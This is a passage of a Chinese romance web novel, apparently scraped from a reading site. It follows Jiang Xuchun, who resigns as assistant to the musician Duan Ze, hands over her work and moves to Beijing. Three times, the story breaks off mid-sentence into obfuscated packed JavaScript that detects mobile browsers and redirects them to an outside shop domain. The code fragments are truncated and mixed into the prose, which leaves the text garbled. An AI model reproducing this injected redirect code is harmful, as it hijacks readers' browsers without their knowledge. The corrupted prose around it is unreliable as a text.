江绪春点点头,意识到他没在看自己,比了个“ok”的手势,默默举到他眼前—— 下一秒被他一掌拍下。 此人目前火气极大。 鉴于自己是有那么一点不占理,江绪春决定少惹他为妙。 两人分别站在电梯的斜对角,默不作声地一路下到车库。 段则按了下车钥匙,亮的是那辆suv,江绪春小心翼翼地想去拉后座的门,被他斜了一眼:“我是你的司机?” “……” 她还不如打辆出租呢。 车内也是同样的低气压。 段则脱下大衣,内里是一件稍显修身的棒针毛衣,勾勒出他宽阔平直的肩颈。 他抬手向副驾方向伸去,江绪春下意识一缩身子,却见那手掀开扶手箱,从中取出了一盒眼镜。 ……还以为这手是冲她来的。 江绪春心虚地又瞥他一眼,就见他单手戴上眼镜,双眼隔着镜片狠狠剜了她一眼。 今天的形势果然很严峻。 她知道他只有一百多度近视,平日基本不戴眼镜。但眼下,光让她保持沉默已经无法保证安全,必须再用眼镜辅佐。 接近半小时的车程,两人没有说一句话。 余光里,眼镜将他的眸光遮了个严实,江绪春只能看见他抿得极紧的双唇,好像如果不这般用力压制,不知会说出什么难听话。 她突然有点儿鼻酸,扭头去看窗外流转的夜色。 前方是个十字路口,直行和右转都能到。 段则拨下转向灯,微微转头看向右方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314723|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >Suv顺利拐上新路,他收回目光,很轻地叹了一口气。 上次来这家餐厅还是前年,也是和眠艇的私下聚会。 那时候一切都很好,两人的关系很好,而陆鲨刚签了公司,前景看起来也一派光明。 如果时光倒流到那刻,她一定不会放任自己来到现在这般境地。 ……只是,心动真的是想克制就能克制的吗? 在侍者的带领下,两人进到包厢。眠艇一早在内等候,见状笑着上前和江绪春握了握手,又和段则来了个拥抱。 这是张圆桌,寒暄过后,两人分别坐在了眠艇两侧。 眠艇左看看,右看看,直觉有些奇怪,干笑两声道:“还以为你们会坐在一起呢。” 眠艇是段则的朋友,他俩毫无疑问会靠着坐,那问题就出在江绪春身上。 段则心安理得地没搭这茬,只浅浅瞥她一眼,眠艇倒是微笑着一直在看她。 “不想坐上菜位。”反正都是熟人,江绪春找了个无比直接的借口。 话毕,她听见段则很轻地哼笑了一声。 眠艇倒是一时有些慌张:“不好意思,是我疏忽了。” 江绪春抬手拍拍无辜的眠艇:“没事啦,辛苦你大老远过来了,下次让段则上武汉找你。” 眠艇长年驻扎在武汉。 突然被提到的段则一怔,一脸莫名其妙地看向江绪春,感受到眠艇期待的目光,只好干笑两声:“好。” 眠艇:“‘好’是什么时候?你这人最会画饼了。” “下个月行不行?”段则说完,没忘再瞪一眼看热闹的江绪春。 “一言为定。”眠艇和他碰了下拳,转头看向江绪春,“到时候你也一起来呗,我带你们在武汉好好玩一玩。” 挖坑反把自己绕进去的江绪春:“……” 她下意识求助地看向段则,却只看见他不怀好意的笑。 差点儿忘了,现在最不可靠的就是他。 久久没能等到回应的眠艇一脸无奈:“怎么,你们是不是私下说我坏话了?吃个饭要我来回通知,去武汉也这么不情不愿的?” “没有啦。”江绪春忙道,“回头见。” “你想什么时候去武汉?”段则忽而开口。 可喜可贺,时隔近一小时后,两人终于又说上话了。 就是还不如不说。 “那当然要看陆鲨行程安排了。”江绪春道。 这个月底,陆鲨将结束休假,回归正常活动。 段则:“你还挺关心陆鲨的行程。” 江绪春:“这不是决定你什么时候有空去武汉吗?” 段则:“你要和我一起去?” 江绪春:“我觉得眠艇应该不是想让我们分开去吧。” 眠艇:“……” 到底比他们多吃了快十年的饭,他一早看出两人间的气氛不对劲。 但到底是哪里不对劲,可惜他没有读心术。 他只是觉得自己今天实在不该在这里,还不如多留一天北京,自己一个人去吃烤鸭。 一顿无比诡异的饭就这么结束了。 席间两人没坐在一起,但话没少说,就是句句带刺,可怜眠艇坐在中间,声波全得从他这过一遍。 他本来还想关心一下段则的心情,现在觉得自己更需要被关心一下。 散场时,段则主动去买单,离席时看了他一眼,眠艇忙佯装客套跟了上去。 “不好意思。”一出包厢,段则揽过他肩膀,“我最近状态不太好。” “我知道你状态不好。”眠艇说,“但你跟小江看着怎么好像有矛盾呢?” 段则沉默良久:“她辞职了。” 突如其来的消息,让眠艇震惊得半晌才回神:“为什么?” 段则摇摇头,没说话。 成年人了,总有些无法言说的苦楚。 眠艇拍拍他的背表示理解:“没事,新助理说不定更好呢。” 走廊角落的灯光昏黄,段则歪斜着身子,一侧肩膀抵在墙上,仿佛没有这处依靠,他下一秒就要不支倒地。 他嘴唇微微颤动着,声音出口前,眸光先沉了一道。 “……可是我不想她走。” 32. 第 32 章 江绪春感觉,两人为着谁买单这件事,在外面争执了快有一世纪。 她在包厢内等得呵欠连天,才看见门被推开,两人状态都不太好,估摸着小吵了一架。 段则的面庞湿漉漉的,尤其是面颊边的碎发沾了水后,现出一点打卷儿的趋势,江绪春纳罕地看了眼窗外:“下雨了吗?” 段则闻言摸了下脸,神情不知为何有那么点儿心虚。 “没。”眠艇说,“服务员不小心把饮料洒他脸上了,他就去洗了个脸。” 江绪春“哦”了一声,忍不住又瞥他一眼,心说这洒的角度还挺刁钻,怕不是直接对着他脸泼了。 想象的阀门一打开,画面就收不住,到最后,她竟没忍住笑了出来。 还没“嘿嘿”两声,那头冷冷抛来一句:“你笑什么?” 江绪春:“想到个笑话。” “什么笑话?” “不告诉你。” 段则:“……” 眠艇:“……” 今晚的聚餐毫无疑问是个错误。 眠艇只想尽快逃离此地:“我先走了,还得赶今晚的飞机回去。” “我送你去机场吧。”段则说。 江绪春也点点头:“我打车回去。” “不麻烦了。”眠艇说,“我叫好车了,就在外面等着呢,拜拜,武汉见。” 其实不见也可以。 眠艇一走,包厢内又恢复一片死寂,连斗嘴都不复存在。 彼此沉默地收拾好东西,一前一后往外走,段则板着一张脸,但还是帮她把住了门。 拐过这个弯,不远处就是停车场,偏偏在拐角处,段则被一个小女孩拦了下来。 小女孩身边放着一箱子冰棍,一看就是被家长撺掇着出来锻炼社交的,这会儿她巴巴地望着段则,用稚气未消的声音问他要不要买冰棍。 段则典型的吃软不吃硬,面对小孩儿和老人更是如此,他无奈地点点头:“来两根吧。” 生意成交,小女孩很是高兴:“哥哥你要什么口味的呀?” 段则看了江绪春一眼。 江绪春也看了他一眼。 没等她开口,段则把目光又转向小女孩:“来根芒果的,再来根蓝莓的。” 江绪春最讨厌的就是芒果味。 然后下一秒,她看见那根芒果味的被递给了自己。 她用两根手指拈着冰棍,愤懑地跟着他回到车上。 一上车,段则没急着启动,而是慢条斯理地开始拆冰棍,顺带着瞥她一眼:“别化我车上。” 江绪春郁闷地拆开那根芒果味的,闻到那股味道就开始皱眉,思考着就这么吃下这根明显带有报复性质的冰棍,还是直接扔在他干干净净的车上。 余光里,她能感觉到段则一直在看自己。 这一晚上,两人间的相处很像小孩子在置气,她突然有点累了,面无表情地准备吃冰棍。 刚刚递到嘴边,手里的冰棍被一把夺下,重新塞进一根散发着蓝莓清香的。 江绪春茫然地看向他。 这回他没再看过来,沉默地一口一口开始吃那根芒果味的。 其实他也不喜欢芒果味的,肉眼可见吃得很为难。 报复不成被反噬,但江绪春居然一点也开心不起来。 她鼻子突然很酸,咬了一角冰棍后,轻声道:“我们不要闹了好不好。” 良久的沉默。 密闭的空间内,只有他愈发凝重的呼吸声。 末了,她听见他开口:“那你要我怎么办呢?” 那声音很轻,甚至有点儿温柔,却像在她心尖上用力拧了一道。 江绪春也不知道怎么办,只能一下又一下机械地吃着冰棍,口腔被冻得快失去知觉,眼眶还是热的。 良久没等到回答,段则深吸一口气,像是整理了一下情绪,再开口时的语气很是平静。 “后天镭姐会来泓州,到时候交接完工作,你就可以离开了。” “……好。” 回到家后,江绪春开始整理行李。 她在这里只住了两年多,不过刚搬进来时,预想着要住很多年,为此买了很多大件家具和电器。 家具搬走太麻烦,电器倒是可以卖一卖,她打开二手平台,开始一件件拍照编辑上传。 这些家具和电器,不少是段则送的礼物,有打着节日和生日名号送的,有的毫无理由,就是顺手给她也买一份。大到那台空气净化器,小到她自己很少用到的直板夹,两人家里有一堆同款。 江绪春将将上传了三件物品,又全部下架了。 她记不清哪些是自己买的了,决定全交给段则处理,算是对他的一点补偿,又或者是给他留的最后一次麻烦。 当初把那句话烂在肚子里就好了。 这些天,她第无数次这么想。 两天时间,足够江绪春把行李收拾个七七八八。 除却那些大件家电,她将暂时用不上的先寄回了家,剩下的能丢的丢,舍不得丢的,全部打包进了两个大大的行李箱。 家里一寸一寸又空了下来,正如她刚搬进来那样。 她还记得段则第一次领她来这套房子的日子。 她一直知道段则买了套房子,装修期间,她也常常陪他去监工。房子验收完毕那天,江绪春正准备按电梯离开,段则忽然抓住她,走向了对面的另一套房子。 “怎么了?”她一头雾水。 “看看你家。” 这些年,她在泓州已经搬了三次家。从最开始昏暗破旧的步梯房,到后来的合租电梯房,再到去年,她刚“斥巨资”整租了一套还不错的一室一厅。 但都没有眼前的这一套宽敞精致。 这里的房子都是精装修后交付,两套的户型一样。虽然这些日子江绪春已经看了无数遍,但想到这一套是自己要住的,莫名觉得很是新奇。 哪怕知道每间屋子长什么样,她还是兴奋地都跑了一遍,喋喋不休地说要在这里放什么,那里放什么。 后来,段则也如约陪她把这些地方都填满了。 “虽然现在是租的,等以后赚到更多钱,我买一套送给你。”段则说。 “那先谢谢段老板了。” 她抱着段则胳膊,佯装谄媚地对他笑,得到他故作嫌弃的表情。 住在这里的日子,大部分时候还是很开心的。 虽然段则没事儿就会来“烦”她,但她心情不好时,也会不请自来地去他家撸撸小狗,自家冰箱空了,就去他家冰箱搜刮搜刮。有时候她懒劲发作,一条消息过去,段则就会端着他刚做好的饭,给她家送上一份。 不过那都是再也回不去的过去了。 江绪春订好去北京的高铁和酒店,放下手机后想。 陆鲨即将复工,向镭百忙之中抽空来了趟泓州。 她将一行人聚集到了酒店套房内,之中还有个陌生人,也就是陆鲨接下来的新助理。 那是个大四还没毕业的小男生,据说是鹏艺某个小领导的亲戚,之前也常常混迹音乐节和livehouse帮忙,多少有点经验。 “叫我小温就好。”男生笑眯眯地和每个人都握了手,一双笑眼看着人畜无害。 向镭将日程发给大家,阐述了一下陆鲨接下来的计划。当前最主要的任务当然是新专发行,以及虽然巡演刚结束不到三月,因为反响不错,公司已经决定筹备下一轮的巡演。 这之中,还夹杂着不少零散的通告,复工后的第一项工作,就是平安夜某商场站台活动,也是段则最不喜欢的工作类型之一。 江绪春悄悄瞥了他一眼,他看着没多少情绪波动,包括上午接她一起来酒店时,也平静得像一潭水。 得知她没吃早餐,他途中还特地绕去得来速给她买了份套餐,她不小心把咖啡撒到脚垫上时,他只问了句她有没有烫到,得到否定的答案后,便轻轻点了下头,没再多说。 开完复工会,向镭还有些事要和乐队几人交代,江绪春也把小温拉到一边,同他进行工作交接。 她素来是个做事很认真的人,刚开始工作时,几乎每晚都会自我复盘。对于每一类通告,她都写了一套自己的sop,之中也包括需要注意的地方、可能出现的问题以及解决办法。 熟练后她基本不再看了,但文档一直保留着,现在倒是重新派上了用场。 小温听得始终有些心不在焉,目光一直往乐队几人的方向瞥去,江绪春忍了一次、两次,第三次的时候终于忍不住开口道:“飞机行程优先考虑哪家航司?” “啊?”小温满眼茫然地看向她,回神后又手忙脚乱地开始翻笔记本电脑,找她刚刚发过来的文档。 江绪春按下他的屏幕:“我刚刚已经和你强调两遍了。” “我回去会好好看的。”小温自知理亏,小声道。 对于他的保证,江绪春深表怀疑。 但转念一想,这其实和她没什么关系了。公司指定了这个人,她的任务就是做好交接,至于那个人执行能力如何,不是她需要负责的。 “那你回去好好看吧。”江绪春也感到累了,“注意标红和划线内容,都是重点强调和容易出错的,尽量在复工前都记住,忙起来不可能有时间让你对着文档一项项找的。” “好。”小温点头如捣蒜。 “有不清楚的第一时间联系我,别不好意思,不然一不小心出错了可能就是大问题。”这也是她刚入行时的深刻教训。 “我知道了。” 鉴于向镭明天就要离开,时间紧迫,她直接订了酒店的餐,一行人在套房里简单吃一顿。 等餐间隙,小温终于逮空挤到段则身边,抓着他聊个不停,那副子专注认真的劲儿,和他刚刚交接时的模样截然相反。 小温其实也是做音乐的,高中就有在网上发过歌,但一直不温不火。他兴冲冲地表示想听陆鲨的新歌,段则拗不过他,就给他听了其中一首的demo。 “保密条款别忘了。”坐在不远处的江绪春偶然听到,忍不住提了一嘴。 “一定一定。”小温应付完她后,对着段则挤了挤眼,小声道,“她好凶啊,你不觉得吗?” 段则冷淡地看他一眼,没说话。 听完陆鲨的歌,小温又开始分享自己的歌。从他最引以为豪的那首,再到最近写的新歌,之间还包含了不少创作心得,以及对陆鲨新歌的建议。 在音乐这方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318547|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,段则无疑是个比较独丨裁的人。 如果他认可你的理念,那他会很乐意和你进行交流。如果他不认可的话,就像现在这样—— 嘴上虽然没说什么,但偏向另一侧的身体,以及紧抿的双唇,无一不写满了抗拒和厌烦。 “这也是她和你交接的工作内容吗?”待小温洋洋洒洒说完后,段则道。 小温有点拿不准他这话的语气,下意识摇摇头,又补充道:“没有,不过我刚好比较了解这方面嘛,大家一起努力,把新专制作得更好不好吗。” “不需要。”段则平静地丢下这三个字,便移开目光,显然不打算和他继续沟通。 “他好凶啊。”眼见在那边不受待见,小温又默默缩到了江绪春身边。 “他不喜欢别人指导他的作品。”江绪春说,“其他方面还是很好相处的,别害怕。” “可是这种面向大众的作品,不就是应该多听取别人的意见吗,怎么能一意孤行呢。” 江绪春不知道该怎么和他解释,只能道:“你做好自己的分内工作就好。” 小温没说错,段则就是这么一个一意孤行的人。 他宁愿别人直白地说他写的就是一滩垃圾,也不愿意别人打着为他好的名号,教他这里怎么改,那里怎么编。 哪怕是公司有意见,他宁可把那首歌删了不发,也不想被别人左右着把它改到面目全非。 吃完饭,一行人又简单开了个会便正式结束。 众人先后离开,向镭主动走到江绪春身边:“几号的票?” “后天。” “哦,打算去哪?” “北京。” “北漂可不容易啊。” 江绪春笑笑:“是啊。” 余光里,她始终感觉有个人在看自己。 江绪春猛地回头,却只捕捉到段则同样匆匆别开的脸。 “我在北京也有些朋友,如果需要帮忙的话,联系我。”向镭拍拍她的手背。 江绪春突然有点儿鼻酸,怕张嘴一口哭腔,只好一把抱住她,笨拙但用力地点了点头。 大概是之前的态度确实不太好,为缓和两人关系,段则主动提出送小温回家。 他目前正在泓州上学,和江绪春还是校友,不过为了实习,是在校外租房住。 小温很是自觉地坐上副驾,一路上夸夸其谈个不停,不仅聊音乐,也聊车,开口一问,驾照都还没考到。 这人心眼大,不会察言观色,好在也因此不太记仇,啥事儿都不放心上。 或许适合做朋友,但似乎不太适合这份工作。 坐在后座的江绪春忍不住又开始想。 不过,那也和她没关系了。她不得不一遍遍提醒自己。 送走小温后,江绪春没下车,依然坐在后座。 段则回头看了她一眼,她以为他会像之前一样,说一句“把我当司机吗”,但他最终未发一言,沉默地重新起步。 不过这些年,她确实把段则当成自己的专属司机了。 没有通告的日子,每次她突发奇想要去哪,不管白天黑夜,第一反应就是把段则喊出来送她。 其实高考完的暑假,江绪春就考出了驾照,但因着想先买房,所以迟迟没买车。 有时候段则被折腾烦了,把两把备用车钥匙丢给她,让她自己开车,她背着手不肯收,说怕自己太久没碰车会出事。 “那你打车我报销好不好?”段则说。 “不好,有的车好难闻。” “你真是大小姐来的,出门还要司机车接车送。”段则臭着一张脸,但还是乖乖陪她出门。 “哎哟,上哪找这么帅还会写歌的司机。”江绪春假模假式地给他捶捶背捏捏肩。 因按摩态度太敷衍,段则嫌弃地躲开她的手:“你快点找个男朋友行不行,别折腾我了。” “那你给我介绍一个。” 段则沉默少顷,好像真在思考,末了一叹气:“算了。” 没有冒出那些想法的日子真好。 江绪春看向窗外霓虹,思绪同街景一道后退。 以后就要失去这位“司机”了。 她也不可能为着这种事去找个男朋友。 不如趁着过年回家的机会好好练车,以后自己开,再也不用去麻烦谁。 Suv缓缓驶入地库,在车位上停定。 江绪春抬手去开车门,一下两下没推动,出声提醒道:“你没解锁。” 段则没说话,面无表情地坐在驾驶座。 钥匙掌握在别人手里就是这点不好,上下车都身不由己。 江绪春意识到他是故意的,便也没多言,陪他一道静坐。 空气静得教人心慌,两人不知坐了多久,期间有两辆车驶过,将车内短暂映亮,又转瞬恢复一片昏暗。 良久,她听见“咔哒”一声,车门被解锁了。 江绪春抬手开门,这次很顺畅地下了车,她回身将车门带上,却发现段则迟迟没有下车。 他一动不动,像筑在驾驶座的一尊雕塑,没有游客、没有信徒,孤独而长久地驻扎在这暗无天日的角落。 她盯着他看了少顷,转身一个人走向了电梯间。 33. 第 33 章 家里已经被清空了大半,客厅一角放着两个行李箱,一个早已规整完毕,还有一个摊在地上,方便随时往里面丢点最后的零碎。 江绪春一面扫视着家中,看有没有遗漏的东西,一面轻手轻脚竖起耳朵,谛听着门外的动静。 不知过了多久,待到她都洗漱完毕了,屋外仍是一片死寂。 想着可能是刚刚被水声掩盖了,江绪春没再纠结此事,上前去关玄关处早该被关上的灯。 “哒、哒……” 江绪春猛地停步,脚步声仍在延续,隔着厚厚一道门板,越来越轻越来越远。 她低头看了眼手机,距离她到家已经过去了快两个小时。 - 翌日,趁着江绪春还在泓州,小温特地来找她,继续进行工作交接。 没见两面就去异性家不太合适,两人头一转,谈话地点定在了段则家。 以后小温大概率要常常来,提前熟悉一下也好。 段则平静地接待了两人,给他们各倒了一杯水,留下一句水果在冰箱自取,便转头把自己锁进了工作室,留小狗在客厅接客。 “好可爱。”小温兴致勃勃地逗着猫,“我都不知道他有养猫欸。” 面对这位新客人,小狗昂着脑袋,始终以一种戒备的态度审视他。 大抵是没对上电波,最终它不顾小温招呼的手,头一转,拖着条瘸腿但仍十分优雅地走远了。 小温悻悻地收回手,盯着它的背影察觉出端倪:“它是瘸了一条腿吗?” 江绪春:“对,抱回来就这样,换了几家医院都说治不好了。” “难怪我从没看他在网上晒过猫,是不是觉得丢人啊哈哈。” 小温是用开玩笑的语气说的,江绪春闻言,表情不悦地睨了他一眼:“回头你别在他面前这么说。” “我不是那个意思。你看啊,他对外展示的一直是那种很酷很潇洒的形象,养猫不也得养那种很酷的品种猫,什么缅因猫无毛猫之类的,才符合身份啊……” 小温两只手摆个不停,拼命为自己找补,急得声音都发颤。 段则确实从来没在网上晒过小狗,别说猫了,他连生活中的自己都不怎么晒。 签约鹏艺后,公司有劝他好好运营一下个人账号,多发一些生活相关内容,拉近和粉丝距离。 “再近一点,彼此都会迷失的。” 这是段则的原话,公司其实没怎么听懂,只当搞艺术的都神神叨叨不说人话。 鉴于他性格太执拗,加上线下对粉丝还算热情,便也随他去了,只让江绪春多拍点他在后台工作的物料。 “你每次拍物料一定要提前告诉他。”江绪春叮嘱小温道,“拍好要让他审完才可以发。” “好,我知道了。”刚说错话的小温点头如捣蒜。 虽然他保证得信誓旦旦,但江绪春仍将信将疑。 这人不仅缺心眼,还非常有自己的想法,段则和他估摸着要磨合很长一段时间。 “总之,他真的是一个很好的人。” 一番洋洋洒洒的嘱托后,江绪春想来想去,决定用这一句来作为结尾。 小温嗯嗯啊啊了半天,最后忍不住又冒出一句:“姐,那你为什么会辞职呢?” “想探索一下不同的职业道路。”一句非常冠冕堂皇的借口。 “也是,没人能做一辈子助理。我也这么想,我做个一两年,积累点人脉再学点知识,就出来单干,我还是想当歌手。” 江绪春:“……” 这人特么的是个傻子。 “这些话你千万不能和段则以及公司说,最好也别和我说。”江绪春深吸一口气,“你写日记里行吗,写完藏藏好。” “哦哦,我知道的,我只和你说。”小温害怕地瞥了她一眼,“好了好了,以后也不和你说了。” 该说的和不该说的都说完了,江绪春起身上前,轻叩了两下工作室的门。 一分钟后,段则走出工作室,看了眼小温:“我帮你打车吧。” “好,谢谢段哥。”小温道,“那我以后是住对面吗?” “什么?”段则纳罕地看着他,又转头看了眼江绪春。 江绪春也一头雾水,天地良心,她可没说这话。 小温:“对面不是助理宿舍吗?回头绪春姐搬走了,不就是我住吗?” 段则沉默几秒:“房子到期了。” “不能续吗?” “已经有人租了。” “哦……”小温看着有点失落。 段则:“我回头给你加笔房补,你自己想租哪租哪吧。” “好。” 因为嫌麻烦,江绪春那间屋子的房租,段则都是一年一交,缴款日是每年的六月份,而现在是十二月。 听完全程的江绪春没多说什么,主动上前将小温送到电梯口,陪他等电梯上来。 送走小温,江绪春扭头看去,段则始终站在家门口,单手插兜,平静地看向她的方向。 她躲开目光,但还是要走向他,她的电脑还放在他家客厅。 两人仅余一米之隔时,段则非常自觉地一侧身,将她放了进来,而后,她听见门在背后关上。 江绪春来到沙发前,弯腰拿起自己的东西,身后有脚步声在向自己逼近,待她起身时,脚步声也随之停止。 极近的空间内,能听见彼此错频的呼吸声。 江绪春没有回头,小时候她觉得鸵鸟遇险会把头埋进沙子里很蠢,现在她发现自己就是一只鸵鸟,只要看不见,就能继续自欺欺人。 可是隔绝了视觉,没法隔绝听觉。 “明天几点的高铁?”她听见段则在背后问。 “下午两点。” “哦,记得早点打车。” 这句话的意思很明显,明天他不打算送她。 这反倒让江绪春松了一口气。 她终于鼓起勇气回过身去,两人过近的距离,吓得她一个踉跄,身子一仰坐倒在沙发上。 这番肢体动作逗得段则很轻地笑了一下,他依然没动,就这么站在原地,小腿抵着她的小腿,居高临下地把她堵在这里。 她将原本单手拿着的笔记本电脑,用双手环抱在胸口,给自己一点聊胜于无的安全感。 然而下一秒,段则伸手抓住笔记本,在她没反应过来的间隙,一把抽走了它。 笔记本在柔软的沙发上笨重地弹跳了两下,江绪春忙看向它:“摔坏了怎么办。” “我赔你。” “里面还有资料。” “你别扯开话题。” “……”江绪春泄了气,“什么话题,不就是我明天要走吗。” 段则没说话,就这么自上而下看着她。 明明该是个给人很有压迫感的角度,不知怎的,江绪春却觉得他看起来好可怜。 良久,他轻声问:“等哪天你不喜欢我了,你会回来吗?” 江绪春沉默了。 两句话她都无法预测,自然也无法保证。 久久没等到回答,段则大概也猜到了答案。 “所以从一开始,你就准备好和我绝交了是吧?” 江绪春理解他的愤懑,可她也很委屈:“我也不想的……” “你不想什么?你莫名其妙和我提离职,要不是我逼问,你可能永远都不会告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323061|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我实情。我做错什么了,你连选择权都不给就把我判了死刑!” 说到最后,段则不受控地微微喘丨息着。 江绪春完全不敢看他,只能垂着眼,看他放在身侧极力克制的手。 “难道你还会做出第二个选择吗……” 她小声为自己辩解着。 她看见那只手的指尖微微蜷缩了下,下一秒忽地靠近,一把将她推倒在沙发靠背上。 段则屈起一条腿,膝盖自沙发边沿缓慢向内蹭去,上身随之俯低。彼此的距离被不断压缩,一双手死死锢着她的肩,疼得她快要逼出泪来。 但她咬牙忍着,她要把一切看清楚,江绪春努力平复自己的呼吸,一瞬不瞬地直视他。 如果他认为她错了,那就证明给她看,证明他可能做出另一种选择。 他确实又靠近了些,鼻尖快要抵上她的,让她有些难以聚焦。 她能感受到那温热而又急促的鼻息,就这么轻柔地扑在她脸颊上,夺走了她的氧气,教她也开始呼吸不畅。 他的瞳仁在细密地颤抖着,像外化的心跳,最终,心电图归于一片直线—— 段则闭上眼,直起身退开两步,将自由还给了她。 江绪春确实得到了解脱,她证明了自己没有错。 她说不上开心,也谈不上难过,她只是用力吸了两口失而复得的氧气,伸长胳膊捞回自己的笔记本电脑,重新站起身来。 这次段则没有拦她。 他定定地看着一处,神情有些凝滞,像在思考,又或者彻底放空。 江绪春经过他身边时,他本能地抓了一下她的手,很快又松开。 江绪春一路走到玄关,忍不住回头看向他的背影。 她想起小时候,在那片树林里,被一群人欺负的小段则也像这样,身影看起来好孤独好无助。 父母从小告诉她要做一个正直善良的人,于是她勇敢冲上前去,那种同情后来变成了友情,又逐渐演化成了爱情。 爱情往后是否还会变呢,变向更好还是更差的方向? 会不会段则才是对的,应该将一切凝固在最好的时候。 可当她毅然加入那场“战斗”的时候,就再也无法抽身,也无法改变事情的走向。 在泓州的最后一晚,江绪春睡得不太安稳。 她醒得很早,将家里的角角落落都检查了一遍,确定没有遗漏任何物品后,剩余的时间,她坐在岛台边投了一些简历。 下午一点,她准时出发。 房门打开的那刻,江绪春被眼前的身影吓了一跳,她不知道段则在那里站了多久,为什么不敲门。 面对她的出现,段则的神情没什么变化。他站在距离她房门一米远的地方,侧身靠着墙,平静得好像融入其中。 他没开口,江绪春也不知该说什么,她将两个行李箱一前一后拎出门,回身关上门,忽然想起什么,时隔两年多,终于将房门密码告诉了他。 段则没有回话,她也没再重复。 江绪春一路畅通无阻地走到电梯前,按下按钮,看见数字在一格一格往上跳。 很快,“叮”一声,金属大门缓缓打开。 江绪春惯例将两个行李箱先推进电梯,自己即将迈步走入时,余光里的身影总是缠绕着她,让她最后一次转过头去。 段则依然是那副平淡如水的神情,只是一双眼亮晶晶的,闪得人晃神,那种光亮像蛇,蜿蜒在他的面庞上。 江绪春沉默着走进电梯,按下一楼。 电梯门关闭的轻微声响,让她稍稍回过神来。 她这才意识到,这是自打成年后,她第一次看见段则掉眼泪。 34. 第 34 章 坐在去北京的高铁上,江绪春收到了银行的一条动账信息。 段则给她转了一百万,备注“离职补偿”。 江绪春盯着短信看了好一会儿,什么也没做,默默将手机放回口袋。 她觉得自己这些年兢兢业业确实做得还不赖。 可她又不希望,他们之间的关系以这种方式收场。 到底错在哪儿了呢,她思考着,至少段则是没有错的。 自打来泓州上学后,江绪春去北京的次数比回老家还勤。 但之前要么是作为游客,要么是来工作,第一次以求职者的身份踏入这片土地时,她才意识到有多残酷。 抵达当天,江绪春一放下行李,便去参加了一场早就约好的面试。 第二天,她又从早到晚连着参加了三场。 面试的地点很分散,她穿梭在这庞大的交通网里,周围是复制粘贴般穿着黑色羽绒服的人群,乌压压如洪水般漫入地下,又悄然退潮。 三天下来,江绪春参加了八场面试,最终收获两个offer。 年末不是个找工作的好时机,她的背景也不尽人意,对于这个成绩,她还算满意。虽然这两家都不是她最想去的,但本着先安定下来的原则,她还是接受了其中一个。 租房也是件难事,新公司地处二环内,江绪春撇开那些老旧的胡同房,独居久了又不太爱合租,剩下能选的,价格一个比一个教人咋舌。 虽然这些年她也存了百来万,再加上段则刚刚打来的钱,对于物欲不高的她来说,足以在小地方养老了。 可这些钱放在这里,不过是令人泄气的杯水车薪。 她只好将选择范围一点点外扩,意识到北京比她想象中还要大太多太多,她像是一滴水汇入了汪洋,炽热的阳光一照,就会带走上万个她的兄弟姐妹,而海平面不会有丝毫变化。 搬进新家的第一晚,江绪春在地板上呆坐了半个小时。 她想大哭一场,但累到逼不出一滴眼泪,她只是觉得迷茫,明明刚找到工作,却还是不知道自己的前路在哪里。 到最后,她收拾好心情,好好洗了一场澡。 神清气爽地躺在被窝里,临睡前,江绪春还是手贱打开了社媒。 “陆鲨新专预告”赫然挂在热搜上。 江绪春没有点进去,预告内容她一早知道。 Demo她都听过了,新专封面也看过,是他自己画的。段则没有系统学习过画画,抓型不是很准,但画一些偏抽象的东西还挺有想法。 她有对配色提过一点意见,至于他有没有采纳,这是她唯一不知道的事。 她突然好后悔,这些天不停在路上奔波,好不容易把段则暂时抛到脑后,结果在这么个最静谧脆弱的时分,还是放任他闯了进来。 她点开通讯软件,聊天记录停留在抵京前一天,她要和小温去他家交接,和他打个招呼。 也不知道小温现在和他相处得怎么样…… 江绪春摇摇脑袋,怎样都和她无关了。 度过了最艰难的第一周,转眼,她已经来北京十天了。 新公司原是一家传统媒体,为与时俱进成立了新媒体部门,江绪春负责该部门下的娱乐版块,之前的工作经验多少派上点用场。 部门领导多是从原有部门调来,葆有传统新闻人的初心和热忱,严谨与守旧,一面悲戚于传统媒体的下坡路,一面还得捏着鼻子做新媒体。 入职第一天,江绪春连自己的工作内容还不甚清楚,先收到了一份行为规范清单。恍惚间她以为自己和那位电网男成了同事,头顶上布满高压线。 对于新闻,江绪春的了解仅限于学校里学的三原则六要素,而在这里,仅仅遵守这些还远远不够。 她的每一条稿件都会被打回数次,哪怕对着规范逐字审查,也不知下一秒会被找出什么新问题。就像《审判》里的K,终日惴惴不安地等待那未知的审判。 